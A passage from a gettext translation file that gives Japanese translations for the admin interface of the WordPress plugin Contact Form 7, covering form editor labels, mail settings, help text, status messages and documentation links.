manage your contact form. You can perform the following actions:" msgstr "コンタクトフォーム一覧の行をマウスオーバーすると、コンタクトフォーム管理のための実行可能な操作へのリンクが表示されます。以下の操作が可能です:" #: admin/includes/help-tabs.php:67 msgid "On this screen, you can manage contact forms provided by Contact Form 7. You can manage an unlimited number of contact forms. Each contact form has a unique ID and Contact Form 7 shortcode ([contact-form-7 ...]). To insert a contact form into a post or a text widget, insert the shortcode into the target." msgstr "この画面では Contact Form 7 の提供するコンタクトフォームの管理ができます。管理できるコンタクトフォームの数に上限はありません。それぞれのコンタクトフォームは固有の ID と Contact Form 7 のショートコード ([contact-form-7 ...]) を持ちます。投稿やテキストウィジェットにコンタクトフォームを挿入するには、ショートコードを対象に挿入します。" #: admin/includes/help-tabs.php:44 msgid "Mail-tags" msgstr "メールタグ" #: admin/includes/help-tabs.php:38 msgid "Form-tags" msgstr "フォームタグ" #: admin/includes/help-tabs.php:22 msgid "Available Actions" msgstr "可能な操作" #: admin/includes/help-tabs.php:16 admin/includes/help-tabs.php:32 #: admin/includes/help-tabs.php:54 msgid "Overview" msgstr "概要" #: admin/includes/editor.php:521 msgid "https://contactform7.com/additional-settings/" msgstr "https://contactform7.com/additional-settings/" #: admin/includes/editor.php:432 msgid "File attachments" msgstr "ファイル添付" #: admin/includes/editor.php:416 msgid "Use HTML content type" msgstr "HTML 形式のメールを使用する" #: admin/includes/editor.php:359 msgid "Message body" msgstr "メッセージ本文" #: admin/includes/editor.php:328 msgid "Additional headers" msgstr "追加ヘッダー" #: admin/includes/editor.php:300 includes/contact-form-template.php:40 msgid "Subject" msgstr "題名" #: admin/includes/editor.php:272 msgid "From" msgstr "送信元" #: admin/includes/editor.php:244 msgid "To" msgstr "送信先" #: admin/includes/editor.php:216 msgid "In the following fields, you can use these mail-tags:" msgstr "以下の項目にて、これらのメールタグを利用できます:" #: admin/includes/editor.php:193 msgid "Mail (2) is an additional mail template often used as an autoresponder." msgstr "メール (2) は追加のメールテンプレートで、自動返信メールによく使われます。" #: admin/includes/editor.php:132 msgid "Use Mail (2)" msgstr "メール (2) を使用" #: admin/includes/editor.php:131 msgid "Mail (2)" msgstr "メール (2)" #. translators: date format, see https://www.php.net/date #: admin/includes/class-contact-forms-list-table.php:234 msgid "Y/m/d" msgstr "Y年n月j日" #. translators: %s: title of contact form #: admin/includes/class-contact-forms-list-table.php:115 msgid "Edit “%s”" msgstr "“%s” を編集する" #: admin/includes/class-contact-forms-list-table.php:162 msgid "Edit" msgstr "編集" #: admin/includes/class-contact-forms-list-table.php:15 msgid "Date" msgstr "日付" #: admin/includes/class-contact-forms-list-table.php:14 msgid "Author" msgstr "作成者" #: admin/includes/class-contact-forms-list-table.php:13 msgid "Shortcode" msgstr "ショートコード" #: admin/includes/class-contact-forms-list-table.php:12 #: includes/block-editor/index.js:1 msgid "Title" msgstr "タイトル" #: admin/edit-contact-form.php:442 admin/includes/editor.php:529 msgid "Additional Settings" msgstr "その他の設定" #. translators: %d: number of additional settings #: admin/edit-contact-form.php:439 msgid "Additional Settings (%d)" msgstr "その他の設定 (%d)" #: admin/edit-contact-form.php:419 admin/includes/editor.php:477 msgid "Messages" msgstr "メッセージ" #: admin/edit-contact-form.php:415 admin/includes/editor.php:140 msgid "Mail" msgstr "メール" #: admin/edit-contact-form.php:411 admin/includes/editor.php:93 msgid "Form" msgstr "フォーム" #: admin/includes/help-tabs.php:100 msgid "Support" msgstr "サポート" #: admin/includes/help-tabs.php:100 msgid "https://contactform7.com/support/" msgstr "https://contactform7.com/support/" #: admin/includes/help-tabs.php:99 msgid "FAQ" msgstr "FAQ" #: admin/edit-contact-form.php:367 admin/includes/help-tabs.php:99 msgid "https://contactform7.com/faq/" msgstr "https://contactform7.com/faq/" #: admin/includes/help-tabs.php:98 msgid "Docs" msgstr "使い方" #: admin/edit-contact-form.php:368 admin/includes/help-tabs.php:98 msgid "https://contactform7.com/docs/" msgstr "https://contactform7.com/docs/" #: admin/edit-contact-form.php:311 #: admin/includes/class-contact-forms-list-table.php:83 msgid "Delete" msgstr "削除 " #: admin/edit-contact-form.php:282 #: admin/includes/class-contact-forms-list-table.php:180 msgid "Duplicate" msgstr "複製" #: admin/edit-contact-form.php:246 msgid "Status" msgstr "ステータス" #: admin/edit-contact-form.php:205 msgid "You can also use this old-style shortcode:" msgstr "この旧式のショートコードも利用できます:" #: admin/edit-contact-form.php:173 msgid "Copy this shortcode and paste it into your post, page, or text widget content:" msgstr "このショートコードをコピーして、投稿、固定ページ、またはテキストウィジェットの内容にペーストしてください:" #: admin/edit-contact-form.php:152 admin/edit-contact-form.php:153 msgid "Enter title here" msgstr "ここにタイトルを入力" #: admin/edit-contact-form.php:14 admin/edit-contact-form.php:272 msgid "Save" msgstr "保存" #: admin/admin.php:727 msgid "You are not allowed to edit this contact form." msgstr "このコンタクトフォームを編集する権限がありません。" #: admin/includes/welcome-panel.php:113 msgid "https://contactform7.com/save-submitted-messages-with-flamingo/" msgstr "https://contactform7.com/save-submitted-messages-with-flamingo/" #: modules/akismet/service.php:65 msgid "Spam filtering with Akismet" msgstr "Akismet によるスパムフィルタリング" #: admin/includes/welcome-panel.php:65 modules/akismet/service.php:64 msgid "https://contactform7.com/spam-filtering-with-akismet/" msgstr "https://contactform7.com/spam-filtering-with-akismet/" #: admin/includes/editor.php:208 msgid "https://contactform7.com/setting-up-mail/" msgstr "https://contactform7.com/ja/setting-up-mail/" #: admin/includes/welcome-panel.php:81 msgid "Contact Form 7 needs your support." msgstr "Contact Form 7 は支援を必要としています。" #: admin/includes/welcome-panel.php:189 msgid "Dismiss" msgstr "非表示にする" #. translators: 1: version of Contact Form 7, 2: version of WordPress, 3: URL #: admin/admin.php:705 msgid "<strong>Contact Form 7 %1$s requires WordPress %2$s or higher.</strong> Please <a href=\"%3$s\">update WordPress</a> first." msgstr "<strong>Contact Form 7 %1$s は WordPress %2$s 以降に対応しています。</strong>まず <a href=\"%3$s\">WordPress を更新</a>してください。" #: admin/admin.php:687 msgid "Settings" msgstr "設定" #: admin/admin.php:640 msgid "Contact form deleted." msgstr "コンタクトフォームが削除されました。" #: admin/admin.php:638 msgid "Contact form saved." msgstr "コンタクトフォームが保存されました。" #: admin/admin.php:636 msgid "Contact form created." msgstr "コンタクトフォームが作成されました。" #: admin/admin.php:503 msgid "Search Contact Forms" msgstr "コンタクトフォームの検索" #: admin/admin.php:349 msgid "Error in deleting." msgstr "削除中にエラーが発生しました。" #: admin/admin.php:343 msgid "You are not allowed to delete this item." msgstr "この項目を削除する権限がありません。" #: admin/admin.php:245 admin/admin.php:298 msgid "You are not allowed to edit this item." msgstr "この項目の編集は許可されていません。" #: admin/admin.php:66 msgid "Integration" msgstr "インテグレーション" #: admin/admin.php:41 admin/admin.php:444 includes/contact-form.php:51 msgid "Contact Forms" msgstr "コンタクトフォーム" #: admin/admin.php:40 admin/edit-contact-form.php:42 msgid "Edit Contact Form" msgstr "コンタクトフォームの編集" #: admin/admin.php:30 msgid "Contact" msgstr "お問い合わせ" #. Plugin Name of the plugin #: wp-contact-form-7.php admin/admin.php:29 modules/flamingo.php:219 msgid "Contact Form 7" msgstr "Contact Form 7"